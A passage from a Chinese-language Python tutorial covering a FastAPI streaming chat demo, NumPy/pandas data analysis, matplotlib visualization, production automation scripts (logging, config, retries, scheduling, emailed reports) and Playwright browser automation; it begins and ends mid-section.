messages = [{"role": m.role, "content": m.content} for m in request.history]
messages.append({"role": "user", "content": request.message})
try:
stream = client.chat.completions.create(
model=request.model,
messages=messages,
temperature=request.temperature,
stream=True
)
full_response = ""
for chunk in stream:
if chunk.choices[0].delta.content:
content = chunk.choices[0].delta.content
full_response += content
yield f"data: {json.dumps({'content': content}, ensure_ascii=False)}\n\n"
yield f"data: {json.dumps({'done': True, 'full_response': full_response}, ensure_ascii=False)}\n\n"
except Exception as e:
yield f"data: {json.dumps({'error': str(e)}, ensure_ascii=False)}\n\n"
@app.post("/api/chat")
async def chat(request: ChatRequest):
return StreamingResponse(
stream_chat(request),
media_type="text/event-stream"
)
@app.get("/")
async def index():
html_content = """
<!DOCTYPE html>
<html>
<head><title>AI 聊天</title></head>
<body>
<div id="chat"></div>
<input id="input" placeholder="输入消息...">
<button onclick="send()">发送</button>
<script>
async function send() {
const input = document.getElementById('input');
const chat = document.getElementById('chat');
const message = input.value;
input.value = '';
chat.innerHTML += '<p><b>我:</b> ' + message + '</p>';
const response = await fetch('/api/chat', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({message: message})
});
const reader = response.body.getReader();
const decoder = new TextDecoder();
let aiMessage = '';
while (true) {
const {done, value} = await reader.read();
if (done) break;
const text = decoder.decode(value);
const lines = text.split('\\n');
for (const line of lines) {
if (line.startsWith('data: ')) {
const data = JSON.parse(line.slice(6));
if (data.content) {
aiMessage += data.content;
chat.innerHTML = chat.innerHTML.replace(/<p id="ai">.*?<\/p>/, '') +
'<p id="ai"><b>AI:</b> ' + aiMessage + '</p>';
}
}
}
}
}
</script>
</body>
</html>
"""
return HTMLResponse(content=html_content)
media_type="text/event-stream",禁用缓冲X-Accel-Buffering: no 禁用缓冲text/event-streamproxy_buffering offeventSource.close()async def + yield,不是普通函数ensure_ascii=False 保留中文数据分析是 Python 最热门的应用领域之一。本章不会只讲 API 用法,而是带你走完一个完整的数据分析闭环:数据读取 → 缺失值/异常值清洗 → 分组聚合 → 业务指标可视化。就像厨师做菜:先洗菜切菜(清洗),再炒菜(处理),最后摆盘上桌(可视化)。
Python 的列表就像一排排的计算器——每个数字单独计算。NumPy 就像一台超级计算机——一整排数字可以同时计算。做同样的运算,NumPy 比纯 Python 快 10-100 倍。
import numpy as np
# ===== 数组创建 =====
a = np.array([1, 2, 3, 4, 5]) # 从列表创建
b = np.zeros((3, 4)) # 3x4 全零矩阵
c = np.ones((2, 3)) # 2x3 全一矩阵
d = np.arange(0, 10, 2) # [0, 2, 4, 6, 8]
e = np.linspace(0, 1, 5) # [0, 0.25, 0.5, 0.75, 1.0]
# ===== 向量化运算(比纯 Python 快 100 倍)=====
a = np.array([1, 2, 3])
print(a * 2) # [2, 4, 6] ← 整个数组同时乘以 2
print(a ** 2) # [1, 4, 9] ← 整个数组同时平方
print(np.sqrt(a)) # [1.0, 1.414, 1.732] ← 整个数组同时开方
# ===== 性能对比 =====
import time
# 纯 Python
start = time.time()
result = [i ** 2 for i in range(1_000_000)]
print(f"纯 Python:{time.time() - start:.3f}秒") # 约 0.15 秒
# NumPy
start = time.time()
result = np.arange(1_000_000) ** 2
print(f"NumPy:{time.time() - start:.3f}秒") # 约 0.002 秒(快 75 倍!)
# ===== 统计函数 =====
data = np.array([85, 90, 78, 92, 88])
print(f"平均:{data.mean()}") # 86.6
print(f"标准差:{data.std()}") # 5.02
print(f"最大:{data.max()}") # 92
print(f"中位数:{np.median(data)}") # 88
数据分析就像侦探破案:先收集线索(读取数据),再排除干扰信息(清洗数据),然后寻找规律(分析聚合),最后画出嫌疑人画像(可视化)。我们用一个电商销售数据集走完这个流程。
import pandas as pd
import numpy as np
from datetime import datetime, timedelta
# 生成模拟电商数据(实际项目中用 pd.read_csv("data.csv") 读取)
np.random.seed(42)
n = 1000
dates = [datetime(2024, 1, 1) + timedelta(days=np.random.randint(0, 365)) for _ in range(n)]
products = np.random.choice(["手机", "笔记本", "耳机", "平板", "手表"], n)
prices = {"手机": 3999, "笔记本": 5999, "耳机": 299, "平板": 2999, "手表": 1599}
quantities = np.random.randint(1, 5, n)
cities = np.random.choice(["北京", "上海", "广州", "深圳", "杭州"], n)
df = pd.DataFrame({
"日期": dates,
"商品": products,
"单价": [prices[p] for p in products],
"数量": quantities,
"城市": cities,
"销售额": [prices[p] * q for p, q in zip(products, quantities)],
})
# 故意插入一些脏数据(模拟真实场景)
df.loc[10, "数量"] = np.nan # 缺失值
df.loc[20, "销售额"] = -500 # 异常值(负数)
df.loc[30, "商品"] = None # 缺失值
df.loc[40, "单价"] = 0 # 异常值(零价格)
print(f"数据形状:{df.shape}")
print(df.head(10))
# ===== 2.1 查看数据概况 =====
print(df.info()) # 数据类型、非空数量
print(df.describe()) # 统计摘要(均值、标准差、最大最小值)
print(df.isnull().sum()) # 每列缺失值数量
# ===== 2.2 处理缺失值 =====
# 删除关键字段缺失的行(商品名不能为空)
df = df.dropna(subset=["商品"])
# 数量缺失的用中位数填充
df["数量"] = df["数量"].fillna(df["数量"].median())
# ===== 2.3 处理异常值 =====
# 销售额不能为负数
df = df[df["销售额"] > 0]
# 单价不能为 0
df = df[df["单价"] > 0]
# ===== 2.4 数据类型转换 =====
df["日期"] = pd.to_datetime(df["日期"])
df["数量"] = df["数量"].astype(int)
df["月份"] = df["日期"].dt.month # 提取月份(后续分析用)
print(f"\n清洗后数据:{df.shape[0]} 行(原始 {n} 行)")
print(df.head())
# ===== 3.1 按商品统计 =====
product_stats = df.groupby("商品").agg(
总销售额=("销售额", "sum"),
平均单价=("单价", "mean"),
销售数量=("数量", "sum"),
订单数=("销售额", "count"),
).sort_values("总销售额", ascending=False)
print("===== 商品销售排行 =====")
print(product_stats)
# 总销售额 平均单价 销售数量 订单数
# 商品
# 笔记本 xxxxx 5999 xxx xxx
# 手机 xxxxx 3999 xxx xxx
# ...
# ===== 3.2 按城市统计 =====
city_stats = df.groupby("城市")["销售额"].agg(["sum", "mean", "count"])
city_stats.columns = ["总销售额", "平均客单价", "订单数"]
print("\n===== 城市销售对比 =====")
print(city_stats.sort_values("总销售额", ascending=False))
# ===== 3.3 按月统计趋势 =====
monthly = df.groupby("月份")["销售额"].sum()
print("\n===== 月度销售趋势 =====")
print(monthly)
import matplotlib.pyplot as plt
# 解决中文乱码问题
plt.rcParams["font.sans-serif"] = ["SimHei", "Microsoft YaHei"]
plt.rcParams["axes.unicode_minus"] = False # 解决负号显示问题
fig, axes = plt.subplots(2, 2, figsize=(14, 10))
# ===== 图 1:商品销售额柱状图 =====
product_stats["总销售额"].plot(kind="bar", ax=axes[0, 0], color="#2563eb")
axes[0, 0].set_title("各商品总销售额")
axes[0, 0].set_ylabel("销售额(元)")
axes[0, 0].tick_params(axis="x", rotation=0)
# ===== 图 2:月度销售趋势折线图 =====
monthly.plot(kind="line", ax=axes[0, 1], marker="o", color="#16a34a")
axes[0, 1].set_title("月度销售趋势")
axes[0, 1].set_ylabel("销售额(元)")
axes[0, 1].set_xlabel("月份")
# ===== 图 3:城市销售占比饼图 =====
city_stats["总销售额"].plot(kind="pie", ax=axes[1, 0], autopct="%1.1f%%")
axes[1, 0].set_title("各城市销售占比")
axes[1, 0].set_ylabel("")
# ===== 图 4:商品销量对比 =====
product_stats["销售数量"].plot(kind="barh", ax=axes[1, 1], color="#d97706")
axes[1, 1].set_title("各商品销量")
plt.tight_layout()
plt.savefig("sales_analysis.png", dpi=150, bbox_inches="tight")
plt.show()
数据可视化就像给数据"拍照":原始数据是素颜的数字,Matplotlib 就是相机+美颜滤镜。折线图看趋势(像心电图),柱状图比大小(像条形码),饼图看占比(像切蛋糕),散点图找关联(像星座图)。选对图表类型,就像选对拍照角度——数据的"美"才能展现出来。
import matplotlib.pyplot as plt
import numpy as np
# 解决中文乱码
plt.rcParams["font.sans-serif"] = ["SimHei", "Microsoft YaHei"]
plt.rcParams["axes.unicode_minus"] = False
# ===== 折线图:看趋势 =====
months = ["1月", "2月", "3月", "4月", "5月", "6月"]
sales_a = [120, 135, 148, 162, 155, 180]
sales_b = [90, 105, 130, 140, 160, 175]
plt.figure(figsize=(8, 5))
plt.plot(months, sales_a, marker="o", linewidth=2, label="产品A", color="#2563eb")
plt.plot(months, sales_b, marker="s", linewidth=2, label="产品B", color="#dc2626")
plt.title("上半年产品销量趋势", fontsize=16)
plt.xlabel("月份")
plt.ylabel("销量(万台)")
plt.legend()
plt.grid(True, alpha=0.3)
plt.savefig("line_chart.png", dpi=150, bbox_inches="tight")
plt.show()
# ===== 柱状图:比大小 =====
products = ["手机", "笔记本", "耳机", "平板", "手表"]
revenue = [158000, 240000, 45000, 89000, 64000]
colors = ["#2563eb", "#dc2626", "#16a34a", "#d97706", "#7c3aed"]
plt.figure(figsize=(8, 5))
bars = plt.bar(products, revenue, color=colors, width=0.6)
# 在柱子顶部显示数值
for bar, val in zip(bars, revenue):
plt.text(bar.get_x() + bar.get_width()/2, bar.get_height() + 2000,
f"¥{val:,}", ha="center", fontsize=10)
plt.title("各产品销售额对比", fontsize=16)
plt.ylabel("销售额(元)")
plt.ylim(0, max(revenue) * 1.15) # 留出标签空间
plt.show()
# ===== 饼图:看占比 =====
cities = ["北京", "上海", "广州", "深圳", "杭州"]
shares = [30, 25, 18, 15, 12]
explode = (0.05, 0, 0, 0, 0) # 突出第一块
plt.figure(figsize=(7, 7))
plt.pie(shares, labels=cities, explode=explode, autopct="%1.1f%%",
colors=["#2563eb", "#dc2626", "#16a34a", "#d97706", "#7c3aed"],
shadow=True, startangle=90)
plt.title("各城市销售占比", fontsize=16)
plt.show()
# ===== 散点图:找关联 =====
np.random.seed(42)
ad_spend = np.random.uniform(1000, 50000, 50) # 广告投入
sales = ad_spend * np.random.uniform(1.5, 3.5, 50) + np.random.normal(0, 5000, 50) # 销售额
plt.figure(figsize=(8, 5))
plt.scatter(ad_spend, sales, c="#2563eb", alpha=0.6, edgecolors="white", s=80)
plt.title("广告投入 vs 销售额", fontsize=16)
plt.xlabel("广告投入(元)")
plt.ylabel("销售额(元)")
# 添加趋势线
z = np.polyfit(ad_spend, sales, 1)
p = np.poly1d(z)
plt.plot(sorted(ad_spend), p(sorted(ad_spend)), "--", color="#dc2626", linewidth=2, label="趋势线")
plt.legend()
plt.grid(True, alpha=0.3)
plt.show()
# ===== 方法一:subplots(推荐,最灵活)=====
fig, axes = plt.subplots(2, 2, figsize=(12, 10))
# 左上:折线图
axes[0, 0].plot(months, sales_a, marker="o", color="#2563eb")
axes[0, 0].set_title("月度趋势")
# 右上:柱状图
axes[0, 1].bar(products, revenue, color=colors)
axes[0, 1].set_title("产品对比")
# 左下:饼图
axes[1, 0].pie(shares, labels=cities, autopct="%1.1f%%")
axes[1, 0].set_title("城市占比")
# 右下:散点图
axes[1, 1].scatter(ad_spend, sales, alpha=0.6)
axes[1, 1].set_title("广告效果")
plt.suptitle("销售数据综合分析看板", fontsize=18, y=1.02)
plt.tight_layout()
plt.show()
# ===== 方法二:GridSpec(不规则布局)=====
from matplotlib.gridspec import GridSpec
fig = plt.figure(figsize=(12, 8))
gs = GridSpec(2, 2, figure=fig)
# 大图占左半边(跨两行)
ax1 = fig.add_subplot(gs[:, 0]) # 左边占满两行
ax2 = fig.add_subplot(gs[0, 1]) # 右上
ax3 = fig.add_subplot(gs[1, 1]) # 右下
ax1.bar(products, revenue, color=colors)
ax1.set_title("产品销售额(主图)")
ax2.plot(months, sales_a, marker="o")
ax2.set_title("月度趋势")
ax3.pie(shares, labels=cities, autopct="%1.1f%%")
ax3.set_title("城市占比")
plt.tight_layout()
plt.show()
# ===== 内置样式(一键美化)=====
print(plt.style.available) # 查看所有可用样式
# ['ggplot', 'seaborn', 'bmh', 'dark_background', 'fivethirtyeight', ...]
plt.style.use("ggplot") # 使用 ggplot 风格(类似 R 语言)
# ===== 自定义颜色方案 =====
# 推荐配色网站:coolors.co
COLORS = {
"primary": "#2563eb",
"danger": "#dc2626",
"success": "#16a34a",
"warning": "#d97706",
"purple": "#7c3aed",
}
# ===== 图表模板(封装复用)=====
def styled_bar(x, y, title="", xlabel="", ylabel="", color="#2563eb"):
"""带样式的柱状图模板"""
fig, ax = plt.subplots(figsize=(8, 5))
bars = ax.bar(x, y, color=color, width=0.6, edgecolor="white", linewidth=0.5)
for bar, val in zip(bars, y):
ax.text(bar.get_x() + bar.get_width()/2, bar.get_height() + max(y)*0.02,
f"{val:,.0f}", ha="center", fontsize=10, fontweight="bold")
ax.set_title(title, fontsize=16, fontweight="bold", pad=15)
ax.set_xlabel(xlabel, fontsize=12)
ax.set_ylabel(ylabel, fontsize=12)
ax.spines["top"].set_visible(False)
ax.spines["right"].set_visible(False)
ax.set_ylim(0, max(y) * 1.15)
plt.tight_layout()
return fig
# 使用模板
styled_bar(products, revenue, "2024年各产品销售额", "产品", "销售额(元)", "#2563eb")
plt.show()
# ===== 保存为图片 =====
plt.savefig("chart.png", dpi=150, bbox_inches="tight") # PNG(适合网页)
plt.savefig("chart.pdf", bbox_inches="tight") # PDF(适合论文)
plt.savefig("chart.svg", bbox_inches="tight") # SVG(矢量图,无限放大)
# ===== 保存为高清图(论文/报告用)=====
plt.savefig("chart_hd.png", dpi=300, bbox_inches="tight",
facecolor="white", edgecolor="none")
# ===== 批量保存多张图 =====
for i, (name, data) in enumerate(chart_data.items()):
fig, ax = plt.subplots()
ax.bar(data["x"], data["y"])
ax.set_title(name)
fig.savefig(f"output/{name}.png", dpi=150, bbox_inches="tight")
plt.close(fig) # 关闭图释放内存(批量生成时必须!)
| 图表类型 | 函数 | 适用场景 |
|---|---|---|
| 折线图 | plt.plot() | 趋势变化(时间序列) |
| 柱状图 | plt.bar() | 分类对比 |
| 散点图 | plt.scatter() | 两变量相关性 |
| 饼图 | plt.pie() | 占比分布 |
| 直方图 | plt.hist() | 数据分布 |
| 箱线图 | plt.boxplot() | 异常值检测 |
| 热力图 | plt.imshow() | 矩阵数据可视化 |
df.apply(func) 本质上是逐行循环,比向量化操作慢 100 倍以上。能用向量化操作的,绝对不要用 apply。
import pandas as pd
import numpy as np
df = pd.DataFrame({"价格": np.random.randint(100, 10000, 100000)})
# ===== ❌ 用 apply:逐行循环,慢 =====
%timeit df["折扣价"] = df["价格"].apply(lambda x: x * 0.8)
# 约 15 毫秒
# ===== ✅ 用向量化:整列同时计算,快 =====
%timeit df["折扣价"] = df["价格"] * 0.8
# 约 0.1 毫秒(快 150 倍!)
# ===== ❌ 用 apply 做条件判断 =====
def categorize(price):
if price < 500:
return "低价"
elif price < 2000:
return "中价"
else:
return "高价"
%timeit df["分类"] = df["价格"].apply(categorize)
# 约 50 毫秒
# ===== ✅ 用 np.where 或 pd.cut 做条件判断 =====
%timeit df["分类"] = pd.cut(df["价格"], bins=[0, 500, 2000, float("inf")], labels=["低价", "中价", "高价"])
# 约 1 毫秒(快 50 倍!)
# ===== 性能优化清单 =====
# 1. 用向量化操作代替 apply(df["a"] * df["b"])
# 2. 用 pd.cut/np.where 代替 apply + if-else
# 3. 用 .str 访问器处理字符串(df["name"].str.lower())
# 4. 用 .dt 访问器处理日期(df["date"].dt.month)
# 5. 读取 CSV 时指定 dtype 和 usecols(只读需要的列)
# 6. 大文件用 chunksize 分块读取
# ===== 大文件分块读取 =====
# 如果 CSV 有 10GB,不可能全部加载到内存
# 用 chunksize 分块处理,每块 10000 行
chunks = pd.read_csv("huge_file.csv", chunksize=10000)
results = []
for chunk in chunks:
# 每块独立处理
result = chunk.groupby("商品")["销售额"].sum()
results.append(result)
# 合并所有块的结果
final = pd.concat(results).groupby(level=0).sum()
df[df['age']>18]['name'] = 'X' 会报警告且不生效,用 df.loc[df['age']>18, 'name'] = 'X'plt.rcParams['font.sans-serif'] = ['SimHei']apply 本质是循环,比向量化慢 100 倍。能用 df["a"] * df["b"] 就不要用 applysum 会忽略,但 mean 可能不符合预期)plt.show() 才能显示图表Python 最擅长的领域之一就是自动化。但一个"能跑"的脚本和一个"能用在生产环境"的脚本差距巨大。本章会教你用 Python 构建工程化的自动化工具——不只是"能跑",还要有日志记录、配置管理、重试机制、定时调度和错误恢复。就像从"路边摊"升级到"连锁餐厅"——标准、可靠、可维护。
你在家里做饭,出了问题可以"尝一口看看"(print 调试)。但如果你在餐厅当厨师,每道菜都要记录"谁做的、几点做的、用了什么材料"(日志记录)。因为出了问题,你需要回溯排查。日志就是程序的"厨房日志"。
import logging
from pathlib import Path
# ===== 配置日志系统 =====
def setup_logger(name: str, log_file: str = "app.log") -> logging.Logger:
"""创建带文件和控制台输出的 logger"""
logger = logging.getLogger(name)
logger.setLevel(logging.DEBUG)
# 控制台 handler:只显示 INFO 及以上
console = logging.StreamHandler()
console.setLevel(logging.INFO)
console.setFormatter(logging.Formatter(
"%(asctime)s [%(levelname)s] %(message)s",
datefmt="%H:%M:%S"
))
# 文件 handler:记录 DEBUG 及以上(包含详细信息)
file_handler = logging.FileHandler(log_file, encoding="utf-8")
file_handler.setLevel(logging.DEBUG)
file_handler.setFormatter(logging.Formatter(
"%(asctime)s [%(levelname)s] %(name)s:%(lineno)d - %(message)s",
datefmt="%Y-%m-%d %H:%M:%S"
))
logger.addHandler(console)
logger.addHandler(file_handler)
return logger
# 使用
logger = setup_logger("auto_tool")
logger.debug("调试信息(只在文件中)") # 不会显示在控制台
logger.info("任务开始执行") # 控制台 + 文件
logger.warning("磁盘空间不足") # ⚠️ 需要注意
logger.error("文件读取失败") # ❌ 出了问题
logger.critical("数据库连接断开") # 💀 严重错误
# ===== 日志的五个级别(从低到高)=====
# DEBUG → 开发调试用,生产环境不输出
# INFO → 正常运行信息(任务开始/结束)
# WARNING → 需要注意但不影响运行(磁盘快满了)
# ERROR → 出了问题,需要修复(文件读取失败)
# CRITICAL → 严重错误,程序可能无法继续(数据库断连)
logger = logging.getLogger(__name__),方便按模块控制级别logging.handlers.RotatingFileHandler 防止日志文件撑爆磁盘你开了一家连锁餐厅,每家店的菜单、价格、营业时间都不一样。你不会把这些信息"硬编码"到每个员工的脑子里,而是写在一本"运营手册"(配置文件)里。换一家店,换一本手册就行,不需要重新培训员工。
# pip install pyyaml
# ===== config.yaml —— YAML 配置文件 =====
# database:
# host: localhost
# port: 5432
# name: mydb
# user: admin
# password: ${DB_PASSWORD} # 从环境变量读取
#
# email:
# smtp_server: smtp.gmail.com
# smtp_port: 465
# sender: your_email@gmail.com
#
# schedule:
# daily_report: "08:30"
# data_backup: "02:00"
#
# logging:
# level: INFO
# file: logs/app.log
# ===== 加载配置文件 =====
import yaml
import os
from pathlib import Path
def load_config(config_path: str = "config.yaml") -> dict:
"""加载 YAML 配置文件,支持环境变量替换"""
path = Path(config_path)
if not path.exists():
raise FileNotFoundError(f"配置文件不存在:{config_path}")
with open(path, "r", encoding="utf-8") as f:
config = yaml.safe_load(f)
# 替换 ${ENV_VAR} 为环境变量值
def replace_env(value):
if isinstance(value, str) and value.startswith("${") and value.endswith("}"):
env_key = value[2:-1]
return os.environ.get(env_key, value)
return value
def walk_replace(obj):
if isinstance(obj, dict):
return {k: walk_replace(replace_env(v)) for k, v in obj.items()}
elif isinstance(obj, list):
return [walk_replace(replace_env(i)) for i in obj]
return replace_env(obj)
return walk_replace(config)
# 使用
config = load_config()
print(config["database"]["host"]) # localhost
print(config["schedule"]["daily_report"]) # 08:30
你打电话给朋友,第一次没人接——等 1 秒再打。第二次还没人接——等 2 秒再打。第三次终于接了。如果三次都没接,你就放弃了。这就是"指数退避重试"策略:失败后等的时间越来越长,最多重试 N 次。
# pip install tenacity
from tenacity import retry, stop_after_attempt, wait_exponential, retry_if_exception_type
import requests
import logging
logger = logging.getLogger(__name__)
# ===== 基本用法:最多重试 3 次 =====
@retry(stop=stop_after_attempt(3))
def fetch_data(url: str) -> dict:
"""获取数据(失败自动重试 3 次)"""
response = requests.get(url, timeout=10)
response.raise_for_status()
return response.json()
# ===== 高级用法:指数退避 + 只重试特定异常 =====
@retry(
stop=stop_after_attempt(5), # 最多重试 5 次
wait=wait_exponential(multiplier=1, max=30), # 指数退避:1s, 2s, 4s, 8s, 16s(最大 30s)
retry=retry_if_exception_type((ConnectionError, TimeoutError)), # 只重试网络错误
before_sleep=lambda retry_state: logger.warning(
f"第 {retry_state.attempt_number} 次重试,原因:{retry_state.outcome.exception()}"
),
)
def reliable_api_call(url: str, data: dict) -> dict:
"""可靠的 API 调用(自动重试 + 指数退避)"""
response = requests.post(url, json=data, timeout=10)
response.raise_for_status()
return response.json()
# 使用
try:
result = reliable_api_call("https://api.example.com/data", {"key": "value"})
logger.info(f"API 调用成功:{result}")
except Exception as e:
logger.error(f"API 调用最终失败(已重试 5 次):{e}")
# pip install apscheduler
from apscheduler.schedulers.blocking import BlockingScheduler
from apscheduler.triggers.cron import CronTrigger
import logging
logger = logging.getLogger(__name__)
scheduler = BlockingScheduler()
# ===== 方式 1:间隔调度 =====
@scheduler.scheduled_job("interval", seconds=30)
def check_system():
"""每 30 秒检查一次系统状态"""
logger.info("系统状态检查...")
# ===== 方式 2:Cron 调度(类 Linux crontab)=====
@scheduler.scheduled_job(CronTrigger(hour=8, minute=30))
def daily_report():
"""每天 8:30 生成日报"""
logger.info("开始生成日报...")
@scheduler.scheduled_job(CronTrigger(hour=2, minute=0))
def data_backup():
"""每天凌晨 2:00 备份数据"""
logger.info("开始数据备份...")
@scheduler.scheduled_job(CronTrigger(day_of_week="mon", hour=9))
def weekly_summary():
"""每周一 9:00 生成周报"""
logger.info("开始生成周报...")
# ===== 启动调度器 =====
if __name__ == "__main__":
logger.info("调度器启动")
try:
scheduler.start()
except (KeyboardInterrupt, SystemExit):
logger.info("调度器停止")
#!/usr/bin/env python3
"""
auto_report.py —— 自动化日报生成工具
功能:每天自动从数据库读取数据 → 生成 Excel 报表 → 发送邮件通知
"""
import logging
import yaml
import smtplib
from pathlib import Path
from datetime import datetime
from email.mime.multipart import MIMEMultipart
from email.mime.base import MIMEBase
from email import encoders
from email.mime.text import MIMEText
from tenacity import retry, stop_after_attempt, wait_exponential
from apscheduler.schedulers.blocking import BlockingScheduler
from apscheduler.triggers.cron import CronTrigger
# ===== 1. 配置 =====
def load_config():
with open("config.yaml", "r", encoding="utf-8") as f:
return yaml.safe_load(f)
# ===== 2. 日志 =====
def setup_logging(config):
logging.basicConfig(
level=getattr(logging, config.get("level", "INFO")),
format="%(asctime)s [%(levelname)s] %(message)s",
handlers=[
logging.FileHandler(config.get("file", "report.log"), encoding="utf-8"),
logging.StreamHandler(),
]
)
logger = logging.getLogger(__name__)
# ===== 3. 数据处理 =====
def generate_report():
"""生成日报(模拟)"""
import pandas as pd
logger.info("开始生成日报...")
# 读取数据
df = pd.read_csv("sales_data.csv")
logger.info(f"读取数据:{len(df)} 条记录")
# 数据清洗
df = df.dropna(subset=["amount"])
df = df[df["amount"] > 0]
# 生成统计
summary = {
"日期": datetime.now().strftime("%Y-%m-%d"),
"总订单数": len(df),
"总销售额": df["amount"].sum(),
"平均客单价": df["amount"].mean(),
}
# 保存为 Excel
output = Path("reports") / f"daily_{datetime.now():%Y%m%d}.xlsx"
output.parent.mkdir(exist_ok=True)
df.to_excel(str(output), index=False)
logger.info(f"日报已生成:{output}")
return output, summary
# ===== 4. 发送邮件(带重试)=====
@retry(stop=stop_after_attempt(3), wait=wait_exponential(multiplier=1, max=10))
def send_report_email(config, report_path, summary):
"""发送日报邮件(失败重试 3 次)"""
email_conf = config["email"]
msg = MIMEMultipart()
msg["From"] = email_conf["sender"]
msg["To"] = email_conf["recipients"]
msg["Subject"] = f"日报 - {summary['日期']}"
body = f"""
<h2>每日销售日报</h2>
<ul>
<li>总订单数:{summary['总订单数']}</li>
<li>总销售额:¥{summary['总销售额']:,.2f}</li>
<li>平均客单价:¥{summary['平均客单价']:,.2f}</li>
</ul>
"""
msg.attach(MIMEText(body, "html"))
# 附件
with open(report_path, "rb") as f:
attachment = MIMEBase("application", "octet-stream")
attachment.set_payload(f.read())
encoders.encode_base64(attachment)
attachment.add_header("Content-Disposition", f"attachment; filename={report_path.name}")
msg.attach(attachment)
with smtplib.SMTP_SSL(email_conf["smtp_server"], email_conf["smtp_port"]) as server:
server.login(email_conf["sender"], email_conf["password"])
server.send_message(msg)
logger.info(f"日报邮件已发送至 {email_conf['recipients']}")
# ===== 5. 主流程 =====
def daily_job():
"""每日任务:生成日报 + 发送邮件"""
try:
config = load_config()
report_path, summary = generate_report()
send_report_email(config, report_path, summary)
logger.info("今日任务完成")
except Exception as e:
logger.error(f"任务执行失败:{e}", exc_info=True)
# ===== 6. 调度 =====
if __name__ == "__main__":
config = load_config()
setup_logging(config.get("logging", {}))
scheduler = BlockingScheduler()
scheduler.add_job(daily_job, CronTrigger(hour=9, minute=0))
logger.info("日报调度器启动,每天 9:00 执行")
try:
scheduler.start()
except (KeyboardInterrupt, SystemExit):
logger.info("调度器停止")
from pathlib import Path
import shutil
# ===== 批量重命名 =====
folder = Path("photos")
for i, f in enumerate(folder.glob("*.jpg"), 1):
f.rename(folder / f"photo_{i:03d}.jpg")
# ===== 批量统计文件大小 =====
total = sum(f.stat().st_size for f in Path(".").rglob("*") if f.is_file())
print(f"总大小:{total / 1024 / 1024:.2f} MB")
# ===== 幂等的文件复制(只复制更新的文件)=====
src = Path("data.csv")
dst = Path("backup/data.csv")
if not dst.exists() or src.stat().st_mtime > dst.stat().st_mtime:
shutil.copy2(src, dst)
logger.info("已更新备份")
else:
logger.info("备份已是最新,跳过")
# pip install openpyxl
from openpyxl import Workbook, load_workbook
# ===== 创建 Excel =====
wb = Workbook()
ws = wb.active
ws.title = "学生成绩"
ws.append(["姓名", "语文", "数学", "英语"])
ws.append(["张三", 90, 85, 92])
ws.append(["李四", 78, 95, 80])
wb.save("students.xlsx")
# ===== 读取 Excel =====
wb = load_workbook("students.xlsx")
ws = wb.active
for row in ws.iter_rows(min_row=2, values_only=True):
name, *scores = row
avg = sum(scores) / len(scores)
print(f"{name}:平均分 {avg:.1f}")
"dir" + "/" + "file",用 Path("dir") / "file" 兼容多平台Selenium 曾是浏览器自动化的首选,但 Playwright 凭借更快的速度、更稳定的等待机制和更简洁的 API,已经成为新一代王者。本章教你用 Playwright 实现网页自动化、动态页面抓取、表单填写、截图录屏等操作,轻松应对现代 Web 爬虫的挑战。
# 安装
# pip install playwright
# playwright install chromium # 安装浏览器(首次需要)
from playwright.sync_api import sync_playwright
# 同步方式使用
with sync_playwright() as p:
# 启动浏览器(headless=False 可以看到浏览器界面)
browser = p.chromium.launch(headless=True)
page = browser.new_page()
# 访问网页
page.goto("https://example.com")
# 获取页面标题
print(f"标题:{page.title()}")
# 获取页面内容
print(f"内容:{page.content()}")
# 截图
page.screenshot(path="screenshot.png")
# 关闭浏览器
browser.close()
from playwright.sync_api import sync_playwright
with sync_playwright() as p:
browser = p.chromium.launch(headless=False)
page = browser.new_page()
page.goto("https://example.com")
# ===== 元素定位方式 =====
# CSS 选择器
element = page.locator("h1") # 标签选择器
element = page.locator(".title") # 类选择器
element = page.locator("#main") # ID 选择器
element = page.locator("div.content > p") # 子元素选择器
# 文本定位
element = page.get_by_text("More information") # 包含文本
element = page.get_by_text("More", exact=True) # 精确文本
# 角色定位(推荐)
element = page.get_by_role("heading", level=1) # 标题
element = page.get_by_role("link", name="More") # 链接
element = page.get_by_role("button", name="提交") # 按钮
# 占位符定位
element = page.get_by_placeholder("请输入用户名")
# 标签定位
element = page.get_by_label("用户名")
# ===== 元素操作 =====
# 点击
element.click()
# 输入文本
element.fill("Hello, Playwright!")
# 获取文本
text = element.text_content() # 文本内容
inner = element.inner_text() # 内部文本
# 获取属性
href = element.get_attribute("href") # 链接地址
# 判断状态
is_visible = element.is_visible() # 是否可见
is_enabled = element.is_enabled() # 是否可用
browser.close()
from playwright.sync_api import sync_playwright
with sync_playwright() as p:
browser = p.chromium.launch(headless=False)
page = browser.new_page()
# 假设有一个登录页面
page.goto("https://example.com/login")
# 填写表单
page.get_by_label("用户名").fill("admin")
page.get_by_label("密码").fill("password123")
# 勾选复选框
page.get_by_label("记住我").check()
# 选择下拉框
page.get_by_label("城市").select_option("beijing")
# 上传文件
page.get_by_label("头像").set_input_files("avatar.jpg")
# 点击提交按钮
page.get_by_role("button", name="登录").click()
# 等待页面跳转
page.wait_for_url("**/dashboard")
print(f"当前页面:{page.url}")
browser.close()
from playwright.sync_api import sync_playwright
with sync_playwright() as p:
browser = p.chromium.launch(headless=False)
page = browser.new_page()
page.goto("https://example.com")
# ===== 自动等待(Playwright 的核心优势)=====
# 点击时会自动等待元素可见、可点击
page.get_by_role("button", name="加载更多").click()
# 等待特定选择器出现
page.wait_for_selector(".content-loaded")
# 等待网络请求完成
page.wait_for_load_state("networkidle")
# 等待特定文本出现
page.wait_for_function("document.body.innerText.includes('加载完成')")
# 等待导航完成
with page.expect_navigation():
page.get_by_role("link", name="下一页").click()
# ===== 超时设置 =====
page.get_by_role("button", name="提交").click(timeout=10000) # 10秒超时
browser.close()
import asyncio
from playwright.async_api import async_playwright
async def scrape_page(url):
"""异步抓取单个页面"""
async with async_playwright() as p:
browser = await p.chromium.launch(headless=True)
page = await browser.new_page()
await page.goto(url)
title = await page.title()
content = await page.text_content("body")
await browser.close()
return {"url": url, "title": title, "content": content[:200]}
async def main():
"""并发抓取多个页面"""
urls = [
"https://example.com",
"https://example.org",
"https://example.net",
]
# 并发执行
tasks = [scrape_page(url) for url in urls]
results = await asyncio.gather(*tasks)
for result in results:
print(f"{result['title']}: {result['url']}")
# 运行
asyncio.run(main())
from playwright.sync_api import sync_playwright
import time
def scrape_infinite_scroll(url, max_scrolls=10):
"""抓取无限滚动页面"""
with sync_playwright() as p:
browser = p.chromium.launch(headless=True)
page = browser.new_page()
page.goto(url)
all_items = []
for i in range(max_scrolls):
# 获取当前可见的元素
